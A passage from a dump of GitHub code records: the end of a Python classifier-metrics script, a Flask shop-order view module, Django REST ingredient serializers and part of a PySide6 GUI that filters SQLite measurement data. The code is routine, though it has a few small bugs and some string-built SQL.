1)\nprint('Thresholds:')\nprint(thresholds)\nprint('False Positive Rate:')\nprint(fpr)\nprint('True Positive Rate:')\ntpr\n# ROC\nimport matplotlib.pyplot as plt\nfrom itertools import cycle\nplt.figure()\nlw = 2\nplt.plot(fpr, tpr, color='darkorange',\n lw=lw, label='ROC curve (area = %0.2f)' % auc(fpr, tpr))\nplt.plot([0, 1], [0, 1], color='navy', lw=lw, linestyle='--')\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('Receiver operating characteristic example')\nplt.legend(loc=\"lower right\")\nplt.show()\n\n# Precision và Recall\nfrom __future__ import print_function\nimport numpy as np\n# confusion matrix to precision + recall\ndef cm2pr_binary(cm):\n p = cm[0,0]/np.sum(cm[:,0])\n r = cm[0,0]/np.sum(cm[0])\n return (p, r)\n\n# example of a confusion matrix for binary classification problem\ncm = np.array([[100., 10], [20, 70]])\np,r = cm2pr_binary(cm)\nprint(\"precition = {0:.2f}, recall = {1:.2f}\".format(p, r))\n\n# Micro-average\ntp1, fp1, fn1 = 10, 5, 3\ntp2, fp2, fn2 = 17, 7, 10\ntp3, fp3, fn3 = 25, 2, 4\nfrom __future__ import print_function\ndef PR(tp, fp, fn):\n P = float(tp)/(tp + fp)\n R = float(tp)/(tp + fn)\n return (P, R)\n\n(P1, R1) = PR(tp1, fp1, fn1)\n(P2, R2) = PR(tp2, fp2, fn2)\n(P3, R3) = PR(tp3, fp3, fn2)\n\nprint('(P1, R1) = (%.2f, %.2f)'%(P1, R1))\nprint('(P2, R2) = (%.2f, %.2f)'%(P2, R2))\nprint('(P3, R3) = (%.2f, %.2f)'%(P3, R3))\n\ntotal_tp = tp1 + tp2 + tp3\ntotal_fp = fp1 + fp2 + fp3\ntotal_fn = fn1 + fn2 + fn3\nmicro_ap = float(total_tp)/(total_tp + total_fp)\nmicro_ar = float(total_tp)/(total_tp + total_fn)\nprint('(micro_ap, micro_ar) = (%.2f, %.2f)' % (micro_ap, micro_ar))\n\n# Macro - average\nmacro_ap = (P1 + P2 + P3)/3\nmacro_ar = (R1 + R2 + R3)/3\nprint('(micro_ap, micro_ar) = (%.2f, %.2f)' % (macro_ap, macro_ar))\n\n\n\n","repo_name":"NguyenThuIT/MALE","sub_path":"MALE_LamThanhTai_15110121/File Project/PROSourceCode/PROSystem-Classifier.py","file_name":"PROSystem-Classifier.py","file_ext":"py","file_size_in_byte":4868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"25948782950","text":"from flask import abort, g, request\n\nfrom ...services.country import service as country_service\nfrom ...services.shop.article import service as article_service\nfrom ...services.shop.cart.models import Cart\nfrom ...services.shop.order.models.order import PaymentMethod\nfrom ...services.shop.order import service as order_service\nfrom ...util.framework.blueprint import create_blueprint\nfrom ...util.framework.flash import flash_error, flash_success\nfrom ...util.templating import templated\nfrom ...util.views import redirect_to\n\nfrom ..authentication.decorators import login_required\n\nfrom .forms import assemble_articles_order_form, OrderForm\n\n\nblueprint = create_blueprint('shop_order', __name__)\n\n\n@blueprint.route('/order')\n@login_required\n@templated\ndef order_form(erroneous_form=None):\n \"\"\"Show a form to order articles.\"\"\"\n article_compilation = article_service \\\n .get_article_compilation_for_orderable_articles(g.party.id)\n\n if article_compilation.is_empty():\n flash_error('Es sind keine Artikel verfügbar.')\n return {'article_compilation': None}\n\n user = g.current_user._user\n\n if erroneous_form:\n form = erroneous_form\n else:\n ArticlesOrderForm = assemble_articles_order_form(article_compilation)\n form = ArticlesOrderForm(obj=user.detail)\n\n country_names = country_service.get_country_names()\n\n return {\n 'form': form,\n 'country_names': country_names,\n 'article_compilation': article_compilation,\n }\n\n\n@blueprint.route('/order', methods=['POST'])\n@login_required\ndef order():\n \"\"\"Order articles.\"\"\"\n article_compilation = article_service \\\n .get_article_compilation_for_orderable_articles(g.party.id)\n\n if article_compilation.is_empty():\n flash_error('Es sind keine Artikel verfügbar.')\n return order_form()\n\n ArticlesOrderForm = assemble_articles_order_form(article_compilation)\n form = ArticlesOrderForm(request.form)\n\n if not form.validate():\n return order_form(form)\n\n cart = form.get_cart(article_compilation)\n\n if cart.is_empty():\n flash_error('Es wurden keine Artikel ausgewählt.')\n return order_form(form)\n\n orderer = form.get_orderer(g.current_user._user)\n\n order = _submit_order(orderer, cart)\n\n _flash_order_success(order)\n\n return redirect_to('snippet.order_placed')\n\n\n@blueprint.route('/order_single/')\n@login_required\n@templated\ndef order_single_form(article_id, erroneous_form=None):\n \"\"\"Show a form to order a single article.\"\"\"\n article = _get_article_or_404(article_id)\n\n article_compilation = article_service \\\n .get_article_compilation_for_single_article(article, fixed_quantity=1)\n\n user = g.current_user._user\n form = erroneous_form if erroneous_form else OrderForm(obj=user.detail)\n country_names = country_service.get_country_names()\n\n if article.not_directly_orderable:\n flash_error('Der Artikel kann nicht direkt bestellt werden.')\n return {\n 'form': form,\n 'article': None,\n }\n\n if order_service.has_user_placed_orders(user.id, g.party.id):\n flash_error('Du kannst keine weitere Bestellung aufgeben.')\n return {\n 'form': form,\n 'article': None,\n }\n\n if article.quantity < 1 or not article.is_available:\n flash_error('Der Artikel ist nicht verfügbar.')\n return {\n 'form': form,\n 'article': None,\n }\n\n return {\n 'form': form,\n 'country_names': country_names,\n 'article': article,\n 'article_compilation': article_compilation,\n }\n\n\n@blueprint.route('/order_single/', methods=['POST'])\n@login_required\ndef order_single(article_id):\n \"\"\"Order a single article.\"\"\"\n article = _get_article_or_404(article_id)\n quantity = 1\n\n if article.not_directly_orderable:\n flash_error('Der Artikel kann nicht direkt bestellt werden.')\n return order_single_form(article.id)\n\n article_compilation = article_service \\\n .get_article_compilation_for_single_article(article,\n fixed_quantity=quantity)\n\n user = g.current_user._user\n\n if order_service.has_user_placed_orders(user.id, g.party.id):\n flash_error('Du kannst keine weitere Bestellung aufgeben.')\n return order_single_form(article.id)\n\n if article.quantity < 1 or not article.is_available:\n flash_error('Der Artikel ist nicht verfügbar.')\n return order_single_form(article.id)\n\n form = OrderForm(request.form)\n if not form.validate():\n return order_single_form(article.id, form)\n\n orderer = form.get_orderer(user)\n\n cart = Cart()\n for item in article_compilation:\n cart.add_item(item.article, item.fixed_quantity)\n\n order = _submit_order(orderer, cart)\n\n _flash_order_success(order)\n\n return redirect_to('snippet.order_placed')\n\n\ndef _get_article_or_404(article_id):\n article = article_service.find_article(article_id)\n\n if article is None:\n abort(404)\n\n return article\n\n\ndef _submit_order(orderer, cart):\n payment_method = PaymentMethod.bank_transfer\n\n return order_service.create_order(g.party.id, orderer, payment_method, cart)\n\n\ndef _flash_order_success(order):\n flash_success('Deine Bestellung mit der Bestellnummer {} '\n 'wurde entgegen genommen. Vielen Dank!', order.order_number,\n text_is_safe=True)\n","repo_name":"agreements/byceps","sub_path":"byceps/blueprints/shop_order/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"7"} +{"seq_id":"43264250933","text":"from rest_framework import serializers\n\nfrom recipes.models import Ingredient, IngredientInRecipe\n\n\nclass IngredientListSerializer(serializers.ModelSerializer):\n \"\"\" Cериализатор ингридиентов в рецепте \"\"\"\n class Meta:\n model = Ingredient\n fields = (\n 'id',\n 'name',\n 'measurement_unit',\n )\n\n\nclass IngredientInRecipeListSerializer(serializers.ModelSerializer):\n \"\"\" Сериализатор ингредиентов в рецепте \"\"\"\n id = serializers.IntegerField(source='ingredient.id')\n name = serializers.ReadOnlyField(source='ingredient.name')\n measurement_unit = serializers.ReadOnlyField(\n source='ingredient.measurement_unit')\n\n class Meta:\n model = IngredientInRecipe\n fields = (\n 'id',\n 'name',\n 'measurement_unit',\n 'amount',\n )\n\n\nclass IngredientInRecipeSerializer(serializers.ModelSerializer):\n \"\"\" Cериализатор создания ингредиентов в рецепте \"\"\"\n id = serializers.PrimaryKeyRelatedField(\n queryset=Ingredient.objects.all(),\n source='ingredient'\n )\n amount = serializers.IntegerField()\n\n class Meta:\n model = IngredientInRecipe\n fields = (\n 'id',\n 'amount',\n )\n","repo_name":"G1lza92/foodgram-project-react","sub_path":"backend/foodgram/api/serializers/ingredients.py","file_name":"ingredients.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"39380571502","text":"# This Python file uses the following encoding: utf-8\nimport sys\nimport os\nimport sqlite3\nimport time\nimport datetime\nimport csv\n\n\n\nfrom PySide6.QtGui import QBrush, QColor\nfrom PySide6.QtCore import Qt, QFile, QThread\nfrom PySide6.QtWidgets import QApplication, QMainWindow, QCheckBox, QVBoxLayout, QHBoxLayout, QFileDialog, QWidget\nimport pyqtgraph as pg\nimport numpy as np\nfrom scipy.interpolate import interp1d\nfrom pathlib import Path\nfrom PySide6.QtUiTools import QUiLoader\nfrom scipy import signal, ndimage\n#from operator import itemgetter\n\nimport matplotlib\nimport mplcursors\nimport mpld3\nmatplotlib.use('QtAgg')\n\nfrom matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar, FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.figure import Figure\n\n\n# Important:\n# You need to run the following command to generate the ui_form.py file! This has to be done when the file was updated using QTCreator!\n# pyside6-uic form.ui -o ui_form.py, and\n# pyside6-uic detailwindow.ui -o ui_detailwindow.py - here you also have to rename the class Ui_MainWindow to Ui_DetWindow afterwards\n\nfrom ui_form import Ui_MainWindow\nfrom ui_detailwindow import Ui_DetWindow\n\n#Create a database in RAM\ndatabase = 'MasterarbeitDB.db'\nconnection_data = sqlite3.connect(str(database))\nconnection_data.row_factory = lambda cursor, row: row[0]\n# Create a cursor to work with\ndatacursor = connection_data.cursor()\n\nconnection_data.row_factory = None\ndatacursor_tuple = connection_data.cursor()\n\n# Create a table if it doesn't exist\ndatacursor.execute(\"Create TABLE IF NOT EXISTS database (timestamp text PRIMARY KEY ON CONFLICT IGNORE, project int, design int, sample int, material int, print int, orientation int, apara int, bpara int, fpara int, gpara int, direction short int, speed short int, cycles int, steps int, contacts int, samplerate int, downsample int, reference str, alldata str, k_fac_mean float, k_fac_devi float, Hyst_mean float, Hyst_devi float)\")\n# Define commands to update the database, this is done in SQLite syntax\nQ_timestamp = \"INSERT OR IGNORE INTO database (timestamp) VALUES (?)\"\nQ_project = \"UPDATE database SET project = ? WHERE timestamp = ?\"\nQ_design = \"UPDATE database SET design = ? WHERE timestamp = ?\"\nQ_sample = \"UPDATE database SET sample = ? WHERE timestamp = ?\"\nQ_material = \"UPDATE database SET material = ? WHERE timestamp = ?\"\nQ_print = \"UPDATE database SET print = ? WHERE timestamp = ?\"\nQ_orientation = \"UPDATE database SET orientation = ? WHERE timestamp = ?\"\nQ_apara = \"UPDATE database SET apara = ? WHERE timestamp = ?\"\nQ_bpara = \"UPDATE database SET bpara = ? WHERE timestamp = ?\"\nQ_fpara = \"UPDATE database SET fpara = ? WHERE timestamp = ?\"\nQ_gpara = \"UPDATE database SET gpara = ? WHERE timestamp = ?\"\nQ_direction = \"UPDATE database SET direction = ? WHERE timestamp = ?\"\nQ_speed = \"UPDATE database SET speed = ? WHERE timestamp = ?\"\nQ_cycles = \"UPDATE database SET cycles = ? WHERE timestamp = ?\"\nQ_steps = \"UPDATE database SET steps = ? WHERE timestamp = ?\"\nQ_contacts = \"UPDATE database SET contacts = ? WHERE timestamp = ?\"\nQ_samplerate = \"UPDATE database SET samplerate = ? WHERE timestamp = ?\"\nQ_downsample = \"UPDATE database SET downsample = ? WHERE timestamp = ?\"\nQ_reference = \"UPDATE database SET reference = ? WHERE timestamp = ?\"\nQ_alldata = \"UPDATE database SET alldata = ? WHERE timestamp = ?\"\nQ_k_fac_mean = \"UPDATE database SET k_fac_mean = ? WHERE timestamp = ?\"\nQ_k_fac_devi = \"UPDATE database SET k_fac_devi = ? WHERE timestamp = ?\"\nQ_Hyst_mean = \"UPDATE database SET Hyst_mean = ? WHERE timestamp = ?\"\nQ_Hyst_devi = \"UPDATE database SET Hyst_devi = ? WHERE timestamp = ?\"\nQ_delete = \"DELETE FROM database WHERE timestamp = ?\"\n\n\n\nclass MainWindow(QMainWindow):\n # This is the initialisation of the main window. It is called when the program is started. It is the first function that is called.\n # Here, all \"global\" variables are defined and the GUI is created. \n # Subwindows and Widgets are created here as well.\n # functions are bound to buttons and other widgets here.\n def __init__(self, parent=None):\n super().__init__(parent)\n # The GUI is created using the ui_form.py file that was generated using the command above.\n self.ui = Ui_MainWindow()\n self.ui.setupUi(self)\n # -\"These variables are used for\"- parsing \n self.data = []\n self.rawdata = []\n self.otherdata = []\n self.stepcount = []\n self.timecount = []\n self.R1 = []\n self.R2 = []\n # -\"\"- setting the color of the graphs\n self.colors = [\"b\", \"g\", \"r\", \"c\", \"m\", \"y\", \"k\", \"b\", \"g\", \"r\", \"c\", \"m\", \"y\", \"k\", \"b\", \"g\", \"r\", \"c\", \"m\", \"y\", \"k\", \"b\", \"g\", \"r\", \"c\", \"m\", \"y\", \"k\", \"b\", \"g\", \"r\", \"c\", \"m\", \"y\", \"k\"]\n self.color = self.colors[0]\n # -\"\"- parsing\n self.surecounter = 0\n self.checkboxes_design = []\n self.checkboxes_sample = []\n self.checkboxes_material = []\n self.checkboxes_print = []\n self.tempdata = []\n self.checkboxes_orientation = []\n self.checkboxes_A = []\n self.checkboxes_B = []\n self.checkboxes_F = []\n self.checkboxes_G = []\n self.checkboxes_speed = []\n self.checkboxes_cycles = []\n self.checkboxes_steps = []\n self.checkboxes = []\n self.timestamp = []\n self.gaussian_filter = 5\n # -\"\"- plotting\n self.cycle = None\n self.cycleEnd = None\n self.toplot = None\n self.widget = QCheckBox()\n self.xtext= None\n self.ytext= None\n self.xunit= None\n self.yunit= None\n self.coding = [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\"]\n\n\n # Connect combox to funtion\n self.ui.comboBox_project.currentTextChanged.connect(self.on_cbproject_changed)\n self.ui.comboBox_value.currentTextChanged.connect(self.on_cbvalue_changed)\n # Connect button to function\n self.ui.pushButton_upload.clicked.connect(self.selectDirectory)\n self.ui.pushButton.clicked.connect(self.readfromdatabase)\n self.ui.pushButton_detail.clicked.connect(self.onclick_detail)\n self.ui.pushButton_update.clicked.connect(self.update_all)\n self.ui.pushButton_export.clicked.connect(self.onclick_save)\n # These are the graphs that are shown in the main window. The ScatterPlot class uses pyqtgraph to create the graphs. This is a quick and dirty solution and legacy code.\n #self.graphWidget = ScatterPlot(self.xtext, self.xunit, self.ytext, self.yunit)\n #self.graphWidget2 = ScatterPlot(self.xtext, self.xunit, self.ytext, self.yunit)\n # The Canvas class uses matplotlib to create the graphs. This is the new and better solution. (This can easily do boxplots etc and could even be further improved with seaborn etc.)\n self.canvas = MplCanvas(self, width=5, height=4, dpi=100)\n self.canvas2 = MplCanvas(self, width=5, height=4, dpi=100)\n # These are the toolbars that are shown in the main window. They are used control mouse interactions with the canvases. One bar per canvas is needed.(afaik)\n self.toolbar = NavigationToolbar(self.canvas, self)\n self.toolbar2 = NavigationToolbar(self.canvas2, self)\n # This is the detail window. It is created here but not shown yet. It is shown when the user clicks the \"Detail\" button. It is used to filter the data in detail.\n self.detailwindow = DetailWindow()\n self.detailwindow.ui.pushButton_update.clicked.connect(self.detailwindow_buttonpress)\n self.detailwindow.ui.pushButton_delete.clicked.connect(self.detailwindow_delete)\n\n self.cache = Cache()\n\n # The following code gives a layout to the areas of the main window which are filled with the widgets defined above. (Which could not be created in the QTCreator)\n # QVBoxLayout places all widgets on top of each other. QHBoxLayout places all widgets next to each other.\n self.ui.frame_toolbar.setLayout(QVBoxLayout())\n # The widgets itself are then added to the layout().\n self.ui.frame_toolbar.layout().addWidget(self.toolbar)\n self.ui.frame_toolbar.layout().addWidget(self.toolbar2)\n #This is done for the graphs as well.\n self.ui.widget_top.setLayout(QVBoxLayout())\n self.ui.widget_top.layout().addWidget(self.canvas)\n self.ui.widget_bot.setLayout(QVBoxLayout())\n self.ui.widget_bot.layout().addWidget(self.canvas2)\n # connecting spinboxes to functions.\n self.ui.spinBox_cycle.valueChanged.connect(self.whatcyclesir)\n self.ui.spinBox_cycleEnd.valueChanged.connect(self.uppercyclechanged)\n self.ui.spinBox_filter.valueChanged.connect(self.gaussianfilter_changed)\n\n def detailwindow_buttonpress(self):\n timestamps = self.detailwindow.get_timestamps()\n self.splitData(timestamps)\n\n def detailwindow_delete(self):\n if self.surecounter == 0:\n self.surecounter = 1\n else:\n self.surecounter = 0\n timestamps = self.detailwindow.get_timestamps()\n for timestamp in timestamps:\n self.deleteData(timestamp)\n self.readfromdatabase()\n self.on_cbproject_changed(self.ui.comboBox_project.currentText())\n \n def readfromdatabase(self):\n # This function reads the data from the database and makes it available for plotting.\n # An empty list is created as a placeholder for the data.\n projectdata = []\n # A variable for double-checking for duplicates is created.\n check = False\n # All projects are read from the database. The data is stored in a the list.\n datacursor.execute(\"SELECT project FROM database\")\n projectdata = datacursor.fetchall()\n # remove duplicates\n projectdata = list(dict.fromkeys(projectdata)) \n # sort list by length and alphabet (makes it nice to look at)\n projectdata = sorted(projectdata, key=lambda x: (len(x), x))\n # add the projects to the combobox in the main window. duplicates are filtered out(again) Just to be sure.\n for p in projectdata:\n ExistingProjects = [self.ui.comboBox_project.itemText(i) for i in range(self.ui.comboBox_project.count())]\n for obj in ExistingProjects:\n if p == obj:\n check = True\n if check == False:\n self.ui.comboBox_project.addItems(projectdata)\n else:\n check = False \n self.ui.label_userinfo.setText(\"Connected to database \" + database)\n\n # toggle detail window\n def onclick_detail(self):\n if self.detailwindow.isVisible():\n self.detailwindow.hide()\n else:\n self.detailwindow.show()\n \n \n # Function to react to project selection in the combox\n def on_cbproject_changed(self, value):\n print(\"Combox project changed to: \" + value)\n # uncheck all checkboxes\n self.toplot = self.ui.comboBox_value.currentText()\n for checkbox in self.checkboxes:\n checkbox.setCheckState(Qt.CheckState.Unchecked)\n # declare list parameters\n designdata = []\n sampledata = []\n materialdata = []\n printdata = []\n orientationdata = []\n Adata = []\n Bdata = []\n Fdata = []\n Gdata = []\n directiondata = []\n speeddata = []\n cyclesdata = []\n stepsdata = []\n check = False\n\n # find all values for design in the database where the project is the selected project\n datacursor.execute(\"SELECT design FROM database WHERE project = ?\", (value,))\n designdata = datacursor.fetchall()\n # remove duplicates\n designdata = list(dict.fromkeys(designdata))\n # sort list to make navigation easier\n designdata = sorted(designdata, key = lambda x: (len(x), x))\n # create a checkbox for each design\n # first look at all the checkboxes that are already there and remove the ones that are not needed anymore\n for box in self.ui.scrollAreaWidgetContents_design.findChildren(QCheckBox): \n if box.text() not in designdata:\n self.checkboxes.remove(box)\n box.deleteLater()\n # then create the checkboxes that are still missing\n for i in range(len(designdata)):\n for box in self.ui.scrollAreaWidgetContents_design.findChildren(QCheckBox):\n if box.text() == designdata[i]:\n check = True\n if check == False: \n self.addCheckbox(designdata[i], self.ui.scrollAreaWidgetContents_design)\n else:\n check = False\n\n # Same procedure for the other parameters - sample, material, print, orientation, A, B, F, G, direction, speed, cycles, steps\n datacursor.execute(\"SELECT sample FROM database WHERE project = ?\", (value,))\n sampledata = datacursor.fetchall()\n sampledata = list(dict.fromkeys(sampledata))\n sampledata = sorted(sampledata, key = lambda x: (len(x), x))\n # create checkboxes\n for box in self.ui.scrollAreaWidgetContents_sample.findChildren(QCheckBox):\n if box.text() not in sampledata:\n self.checkboxes.remove(box)\n box.deleteLater()\n for i in range(len(sampledata)):\n for box in self.ui.scrollAreaWidgetContents_sample.findChildren(QCheckBox):\n if box.text() == sampledata[i]:\n check = True\n if check == False: \n self.addCheckbox(sampledata[i], self.ui.scrollAreaWidgetContents_sample)\n else:\n check = False\n\n datacursor.execute(\"SELECT material FROM database WHERE project = ?\", (value,))\n materialdata = datacursor.fetchall()\n materialdata = list(dict.fromkeys(materialdata))\n materialdata = sorted(materialdata, key=lambda x:(len(x), x))\n # create checkboxes\n for box in self.ui.scrollAreaWidgetContents_material.findChildren(QCheckBox):\n if box.text() not in materialdata:\n self.checkboxes.remove(box)\n box.deleteLater()\n for i in range(len(materialdata)):\n for box in self.ui.scrollAreaWidgetContents_material.findChildren(QCheckBox):\n if box.text() == materialdata[i]:\n check = True\n if check == False: \n self.addCheckbox(materialdata[i], self.ui.scrollAreaWidgetContents_material)\n else:\n check = False\n\n datacursor.execute(\"SELECT print FROM database WHERE project = ?\", (value,))\n printdata = datacursor.fetchall()\n printdata = list(dict.fromkeys(printdata))\n printdata.sort()\n # create checkboxes\n for box in self.ui.scrollAreaWidgetContents_print.findChildren(QCheckBox):\n if box.text() not in printdata:\n self.checkboxes.remove(box)\n box.deleteLater()\n for i in range(len(printdata)):\n for box in self.ui.scrollAreaWidgetContents_print.findChildren(QCheckBox):\n if box.text() == printdata[i]:\n check = True\n if check == False: \n self.addCheckbox(printdata[i], self.ui.scrollAreaWidgetContents_print)\n else:\n check = False\n\n datacursor.execute(\"SELECT orientation FROM database WHERE project = ?\", (value,))\n orientationdata = datacursor.fetchall()\n orientationdata = list(dict.fromkeys(orientationdata))\n orientationdata.sort()\n # create checkboxes\n for box in self.ui.scrollAreaWidgetContents_orientation.findChildren(QCheckBox):\n if box.text() not in orientationdata:\n self.checkboxes.remove(box)\n box.deleteLater()\n for i in range(len(orientationdata)):\n for box in self.ui.scrollAreaWidgetContents_orientation.findChildren(QCheckBox):\n if box.text() == orientationdata[i]:\n check = True\n if check == False: \n self.addCheckbox(orientationdata[i], self.ui.scrollAreaWidgetContents_orientation)\n else:\n check = False\n\n datacursor.execute(\"SELECT apara FROM database WHERE project = ?\", (value,))\n Adata = datacursor.fetchall()\n for i in range(len(Adata)):\n if Adata[i] == None:\n Adata[i] = \"A0\"\n Adata = list(dict.fromkeys(Adata))\n Adata.sort()\n # create checkboxes\n for box in self.ui.scrollAreaWidgetContents_A.findChildren(QCheckBox):\n if box.text() not in Adata:\n self.checkboxes.remove(box)\n box.deleteLater()\n for i in range(len(Adata)):\n for box in self.ui.scrollAreaWidgetContents_A.findChildren(QCheckBox):\n if box.text() == Adata[i]:\n check = True\n if check == False: \n if Adata[i] != None: \n self.addCheckbox(Adata[i], self.ui.scrollAreaWidgetContents_A)\n else:\n check = False\n\n datacursor.execute(\"SELECT bpara FROM database WHERE project = ?\", (value,))\n Bdata = datacursor.fetchall()\n for i in range(len(Bdata)):\n if Bdata[i] == None:\n Bdata[i] = \"B0\"\n Bdata = list(dict.fromkeys(Bdata))\n Bdata.sort()\n for box in self.ui.scrollAreaWidgetContents_B.findChildren(QCheckBox):\n if box.text() not in Bdata:\n self.checkboxes.remove(box)\n box.deleteLater()\n for i in range(len(Bdata)):\n for box in self.ui.scrollAreaWidgetContents_B.findChildren(QCheckBox):\n if box.text() == Bdata[i]:\n check = True\n if check == False: \n if Bdata[i] != None: \n self.addCheckbox(Bdata[i], self.ui.scrollAreaWidgetContents_B)\n else:\n check = False\n\n datacursor.execute(\"SELECT fpara FROM database WHERE project = ?\", (value,))\n Fdata = datacursor.fetchall()\n for i in range(len(Fdata)):\n if Fdata[i] == None:\n Fdata[i] = \"F0\"\n Fdata = list(dict.fromkeys(Fdata))\n Fdata.sort()\n for box in self.ui.scrollAreaWidgetContents_F.findChildren(QCheckBox):\n if box.text() not in Fdata:\n self.checkboxes.remove(box)\n box.deleteLater()\n for i in range(len(Fdata)):\n for box in self.ui.scrollAreaWidgetContents_F.findChildren(QCheckBox):\n if box.text() == Fdata[i]:\n check = True\n if check == False: \n if Fdata[i] != None: \n self.addCheckbox(Fdata[i], self.ui.scrollAreaWidgetContents_F)\n else:\n check = False\n\n datacursor.execute(\"SELECT gpara FROM database WHERE project = ?\", (value,))\n Gdata = datacursor.fetchall()\n for i in range(len(Gdata)):\n if Gdata[i] == None:\n Gdata[i] = \"G0\"\n Gdata = list(dict.fromkeys(Gdata))\n Gdata.sort()\n for box in self.ui.scrollAreaWidgetContents_G.findChildren(QCheckBox):\n if box.text() not in Gdata:\n self.checkboxes.remove(box)\n box.deleteLater()\n for i in range(len(Gdata)):\n for box in self.ui.scrollAreaWidgetContents_G.findChildren(QCheckBox):\n if box.text() == Gdata[i]:\n check = True\n if check == False: \n if Gdata[i] != None: \n self.addCheckbox(Gdata[i], self.ui.scrollAreaWidgetContents_G)\n else:\n check = False\n\n datacursor.execute(\"SELECT direction FROM database WHERE project = ?\", (value,))\n directiondata = datacursor.fetchall()\n directiondata = list(dict.fromkeys(directiondata))\n directiondata.sort()\n for box in self.ui.scrollAreaWidgetContents_direction.findChildren(QCheckBox):\n if box.text() not in directiondata:\n self.checkboxes.remove(box)\n box.deleteLater()\n for i in range(len(directiondata)):\n for box in self.ui.scrollAreaWidgetContents_direction.findChildren(QCheckBox):\n if box.text() == directiondata[i]:\n check = True\n if check == False: \n self.addCheckbox(str(directiondata[i]), self.ui.scrollAreaWidgetContents_direction)\n else:\n check = False\n\n datacursor.execute(\"SELECT speed FROM database WHERE project = ?\", (value,))\n speeddata = datacursor.fetchall()\n speeddata = list(dict.fromkeys(speeddata))\n speeddata.sort()\n for box in self.ui.scrollAreaWidgetContents_speed.findChildren(QCheckBox):\n if box.text() not in speeddata:\n self.checkboxes.remove(box)\n box.deleteLater()\n for i in range(len(speeddata)):\n for box in self.ui.scrollAreaWidgetContents_speed.findChildren(QCheckBox):\n if box.text() == speeddata[i]:\n check = True\n if check == False: \n self.addCheckbox(str(speeddata[i]), self.ui.scrollAreaWidgetContents_speed)\n else:\n check = False\n\n datacursor.execute(\"SELECT cycles FROM database WHERE project = ?\", (value,))\n cyclesdata = datacursor.fetchall()\n cyclesdata = list(dict.fromkeys(cyclesdata))\n cyclesdata.sort()\n for box in self.ui.scrollAreaWidgetContents_cycles.findChildren(QCheckBox):\n if box.text() not in cyclesdata:\n self.checkboxes.remove(box)\n box.deleteLater()\n for i in range(len(cyclesdata)):\n for box in self.ui.scrollAreaWidgetContents_cycles.findChildren(QCheckBox):\n if box.text() == cyclesdata[i]:\n check = True\n if check == False: \n self.addCheckbox(str(cyclesdata[i]), self.ui.scrollAreaWidgetContents_cycles)\n else:\n check = False\n\n datacursor.execute(\"SELECT steps FROM database WHERE project = ?\", (value,))\n stepsdata = datacursor.fetchall()\n stepsdata = list(dict.fromkeys(stepsdata))\n stepsdata.sort()\n for box in self.ui.scrollAreaWidgetContents_steps.findChildren(QCheckBox):\n if box.text() not in stepsdata:\n self.checkboxes.remove(box)\n box.deleteLater()\n for i in range(len(stepsdata)):\n for box in self.ui.scrollAreaWidgetContents_steps.findChildren(QCheckBox):\n if box.text() == stepsdata[i]:\n check = True\n if check == False: \n self.addCheckbox(str(stepsdata[i]), self.ui.scrollAreaWidgetContents_steps)\n else:\n check = False\n # update the detail window to be empty again. \n self.set_detailWindow()\n \n \n def gaussianfilter_changed(self, value):\n print(\"Combox filter changed to: \" + str(value))\n self.gaussian_filter = value\n self.ui.label_userinfo.setText(\"Gaussian filter changed to \" + str(self.gaussian_filter) + \". Click 'Update' to apply changes.\")\n\n # this function reacts to the second combox being changed. It contains the different ways the data can be plotted\n def on_cbvalue_changed(self, value):\n # global value is saved to be used in other functions\n self.toplot = value\n # check which data was selected to be plotted\n self.checktheboxes()\n # if any data is selected, use it to plot. Otherwise, plot all possible data\n if self.checkthedata():\n datacursor.execute(self.checkthedata())\n else:\n datacursor.execute(\"SELECT timestamp FROM database WHERE project = ?\", (self.ui.comboBox_project.currentText(),))\n self.tempdata = datacursor.fetchall()\n # update detail window to contain all selected datasets\n self.set_detailWindow(self.tempdata)\n # this functions gets all the raw data from the database and then triggers the plotting function\n #self.splitData(self.tempdata)\n\n\n # this function deleted a set of data according to the given timestamp from the database when the user clicks the delete button\n def deleteData(self, timestamp):\n datacursor.execute(Q_delete, (timestamp,))\n connection_data.commit()\n\n # this function strings together an sql statement to filter the data in the database according to the checkboxes that are checked\n def checkthedata(self):\n # the current project is always the first filter and taken from the combobox\n current_project = self.ui.comboBox_project.currentText()\n # notthefirst is a variable to control the \"AND\"s in the sql statement\n notthefirst = False\n # the sql statement is initialized as an empty string\n sqlcommand = \"\"\n # each filter has a list of checked checkboxes. if the list is not empty, the filtering sql statement is extended\n if self.checkboxes_design:\n sqlcommand = sqlcommand + \"(\"\n for value in self.checkboxes_design:\n sqlcommand = sqlcommand + \"design = \" + \"'\" + str(value) + \"'\" + \" OR \"\n sqlcommand = sqlcommand[:-4]\n sqlcommand = sqlcommand + \")\"\n notthefirst = True\n if self.checkboxes_sample:\n if notthefirst:\n sqlcommand = sqlcommand + \" AND \"\n sqlcommand = sqlcommand + \"(\"\n for value in self.checkboxes_sample:\n sqlcommand = sqlcommand + \"sample = \" + \"'\" + str(value) + \"'\" + \" OR \"\n sqlcommand = sqlcommand[:-4]\n sqlcommand = sqlcommand + \")\"\n notthefirst = True\n if self.checkboxes_material:\n if notthefirst:\n sqlcommand = sqlcommand + \" AND \"\n sqlcommand = sqlcommand + \"(\"\n for value in self.checkboxes_material:\n sqlcommand = sqlcommand + \"material = \" + \"'\" + str(value) + \"'\" + \" OR \"\n sqlcommand = sqlcommand[:-4]\n sqlcommand = sqlcommand + \")\"\n notthefirst = True\n if self.checkboxes_print:\n if notthefirst:\n sqlcommand = sqlcommand + \" AND \"\n sqlcommand = sqlcommand + \"(\"\n for value in self.checkboxes_print:\n sqlcommand = sqlcommand + \"print = \" + \"'\" + str(value) + \"'\" + \" OR \"\n sqlcommand = sqlcommand[:-4]\n sqlcommand = sqlcommand + \")\"\n notthefirst = True\n if self.checkboxes_orientation:\n if notthefirst:\n sqlcommand = sqlcommand + \" AND \"\n sqlcommand = sqlcommand + \"(\"\n for value 